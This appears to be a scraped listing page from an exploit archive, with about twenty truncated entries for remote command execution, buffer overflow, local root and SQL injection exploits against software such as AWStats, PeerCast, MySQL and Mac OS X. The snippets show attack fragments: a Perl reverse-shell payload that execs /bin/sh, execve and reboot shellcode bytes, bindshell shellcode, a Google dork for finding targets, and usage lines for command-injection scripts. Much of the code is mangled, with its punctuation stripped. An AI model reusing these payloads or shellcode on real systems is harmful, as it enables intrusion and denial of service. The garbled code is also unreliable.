AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit

Exploit for cgi platform in category web applications =============================================================== AWStats &CLIENT";openSTDOUT,"&CLIENT";openSTDERR,"&CLIENT";ifforkexec "/bin/sh"; exit0; ;''; class rbawstatsMigrate: url = '' user = '' password = '' auth = False chost =False...

TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= TopList = 1.3.8 phpBB Hack Remote File Inclusion Vulnerability ================================================================= Title: TopList Hack for PHPBB = 1.3.8 Remote...

[Full-disclosure] Recent Oracle exploit is _actually_ an 0day with no patch

The recent Oracle exploit posted to Bugtraq http://www.securityfocus.com/archive/1/431353 is actually an 0day and has no patch. The patch for 10g Release 2 for April 2006 Critical Patch Update does not contain a fix for the specific flaw that the exploit takes advantage of. As it happens - this...

Censtore <= 7.3.x (censtore.cgi) Remote Command Execution Exploit

Exploit for cgi platform in category web applications ================================================================= Censtore "cmd"\n"; exit; if @ARGV 3 Usage; $host = @ARGV0; $path = @ARGV1; $command = @ARGV2; print "\n\n !!! ULTRA PRIVATE EDITION !!! \n\n"; print "censtore.cgi Remote Command...

quizz <= 1.01 (quizz.pl) Remote Command Execution Exploit

Exploit for cgi platform in category web applications ========================================================= quizz "cmd"\n"; exit; if @ARGV 3 Usage; $host = @ARGV0; $path = @ARGV1; $command = @ARGV2; print "\n\n !!! PRIVATE PRIVATE PRIVATE !!! \n\n"; print "quizz.pl 0day Remote Command...

phpMyChat 0.15.0dev - SYS enter Remote Code Execution

phpMyChat 0.15.0dev - SYS enter Remote Code Execution !/usr/bin/php -q -d shortopentag=on works with magicquotesgpc=Off\r\n\r\n"; echo "dork: intext:"2000-2001 The phpHeaven Team" -sourceforge\r\n\r\n"; if $argc4 echo "Usage: php ".$argv0." host path cmd OPTIONS\r\n"; echo "host: target server...

linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes

Exploit for linux/x86 platform in category shellcode ======================================================= linux/x86 execve"/bin/sh", "/bin/sh", NULL 25 bytes ======================================================= / Linux/x86 execve"/bin/sh", "/bin/sh", NULL - 25 bytes - email protected / char...

GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (1)

Exploit for unknown platform in category web applications =============================================================== GreyMatter WebLog include include define RETCONNERR 4 // Connection error define RETSOCKERR 3 // Return for socket error define RETRESVERR 2 // Error code for cannot resolve...

MS Windows ASN.1 Remote Exploit (MS04-007)

Exploit for unknown platform in category remote exploits ========================================== MS Windows ASN.1 Remote Exploit MS04-007 ========================================== Microsoft ASN.1 remote exploit for CVE-2005-1935 http://www.inj3ct0r.com/sploits/8385.tar.gz 0day.today 2018-03-3...

Mercur Mailserver 5.0 SP3 (IMAP) Denial of Service Exploit

Exploit for unknown platform in category dos / poc ========================================================== Mercur Mailserver 5.0 SP3 IMAP Denial of Service Exploit ========================================================== / Exploit for : IMAP 5.0 SP3 DoS Exploit Advisory :...

PeerCast <= 0.1216 (nextCGIarg) Remote Buffer Overflow Exploit (2)

Exploit for linux platform in category remote exploits ================================================================== PeerCast include include include include include include char scode= // binds 4444 port "\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85"...

Apple Mac OS X (/usr/bin/passwd) Custom Passwd Local Root Exploit

Exploit for macOS platform in category local exploits ================================================================= Apple Mac OS X /usr/bin/passwd Custom Passwd Local Root Exploit ================================================================= !/usr/bin/perl /usr/bin/passwdOSX: local root...

FarsiNews <= 2.5 Directory Traversal Arbitrary (users.db) Access Exploit

Exploit for unknown platform in category web applications ======================================================================== FarsiNews | \ | / \ / / / / / / Iran Hackerz Security Team Description Name : FarsiNews version : 2.5Pro in FarsiNews if you change the archive value :...

MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit

Exploit for linux platform in category local exploits ====================================================================== MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit ====================================================================== / $Id: raptorudf2.c,v 1.1...

[Full-disclosure] Winamp .m3u fun again ;&#41;

Winamp .m3u Remote Buffer Overflow Vulnerability 0day by Sowhat Discovery: 2005.07.21 Pubulished: 2006.02.16 http://secway.org/advisory/AD20060216.txt Affected: Winamp All versions including 5.13 Overview: WinAMP is a popular media player that supports various media and playlist formats, includin...

Invision Power Board Army System Mod 2.1 SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Invision Power Board Army System Mod 2.1 SQL Injection Exploit ============================================================== ?php / --------------------------- EXPLOIT...

QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit

Exploit for QNX platform in category local exploits ============================================================= QNX Neutrino 6.2.1 phfont Race Condition Local Root Exploit ============================================================= !/bin/sh email protected 18/10/2003 $ cksum...

QNX RTOS 6.3.0 Insecure rc.local Permissions Plus System Crash Exploit

Exploit for QNX platform in category local exploits ====================================================================== QNX RTOS 6.3.0 Insecure rc.local Permissions Plus System Crash Exploit ====================================================================== !/bin/sh this combines...

linux/x86 reboot() - 20 bytes

Exploit for linux/x86 platform in category shellcode ============================= linux/x86 reboot - 20 bytes ============================= / linux/x86 rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDRESTART - 20 bytes - izik / char shellcode = "\x6a\x58" // push $0x58 "\x58" // pop %e...

eStara SoftPhone 3.0.1.46 - SIP Remote Buffer Overflow (2)

eStara SoftPhone 3.0.1.46 - SIP Remote Buffer Overflow 2 !/usr/bin/perl -s damn-hippie.pl by kokanin google estara, it shows sip stuff and a hippie Remote "estara softphone" exploit, executable version info = 3.0.1.2 kokanin did the research, metasploit.com did the encoded bindshell on tcp/5060...